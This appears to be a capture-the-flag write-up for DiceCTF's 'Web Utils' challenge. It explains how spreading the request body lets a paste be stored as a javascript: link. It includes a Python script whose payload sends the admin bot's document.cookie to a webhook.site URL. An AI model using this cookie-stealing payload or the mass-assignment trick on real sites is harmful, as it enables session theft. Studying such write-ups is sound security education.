Rating:

Web Utils

Made by: BrownieInMotion, Jim

Challenge text:

My friend made this dumb tool; can you try and steal his cookies? If you send me a link, I can pass it along.

We were also given the zipped folder app.

The website was a combination of a URL "shortener" and a Pastebin. You could create both links and pastes, but links had to start with http(s)://. After creating either you got a URL that looked something like this https://web-utils.dicec.tf/view/y00cs353. It used the /view/ endpoint for both links and pastes, which is a bit odd. Your data was loaded using this JS:

(async () => {
    const id = window.location.pathname.split('/')[2];
    if (! id) window.location = window.origin;
    const res = await fetch(`${window.origin}/api/data/${id}`);
    const { data, type } = await res.json();
    if (! data || ! type ) window.location = window.origin;
    if (type === 'link') return window.location = data;
    if (document.readyState !== "complete")
    await new Promise((r) => { window.addEventListener('load', r); });
    document.title = 'Paste';
    document.querySelector('div').textContent = data;
})()

It basically gets the last part of the URL, and asks the API for the data associated with it. The API doen't do anything special, it simply returns the data and type. If the type is a link, it changes the window.location to the data, otherwise it displays the paste data by changing the textContent. When you change textContent, the browser does no parsing, which means you can't inject scripts in a paste no matter how hard you try. Because of this along with the fact that both pastes and links shared the same endpoint I assumed my goal was to create a javascript: link. The problem was that links had to start with http(s)://, and https://javascript:alert(1); doesn't work. There also wasn't a way to create a paste with a link type, as this was done server-side.

A normal request payload when you create a paste is JSON formatted and looks like this: {"data":"Paste content!"}. However on the server we see that it calls the database.addData with an object as an argument with the type set to "paste", our request content and the id. The anomaly here is that instead of inputting req.body.data, it uses the JS spread operator on the entire req.body. We can recreate that in our own file.

const uid = 'randUID1'

let reqbody = {
    data: "Paste content!"
}

let db_obj = { type: 'paste', ...reqbody, uid }

console.log(db_obj);

The output of this is: { type: 'paste', data: 'Paste content!', uid: 'randUID1' }

However, due to the nature of how spread works, we can overwrite the type by changing the reqbody. If we change reqbody to

{
    data: "Paste content!",
    type: "link"
}

The output will be { type: 'link', data: 'Paste content!', uid: 'randUID1' }. This allows us to create links that don't start with http(s)://. Knowing this we can create a javascript: link.

import json
import requests

payload = {
    "data": "javascript:window.location='https://webhook.site/c0b95a39-1d3f-4636-bcdb-6816c1908c05?c=%27+document.cookie",
    "type": "link"
}

print(requests.post('https://web-utils.dicec.tf/api/createPaste', data=json.dumps(payload), headers={'content-type': 'application/json'}).text)

Response: {"statusCode":200,"data":"2d5yEcsR"}

We then send the admin bot the link to our paste, and we see their cookie which is the flag dice{f1r5t_u53ful_j4v45cr1pt_r3d1r3ct}.

Original writeup (https://github.com/WastefulNick/CTF-Writeups/tree/master/DiceCTF/web/web_utils).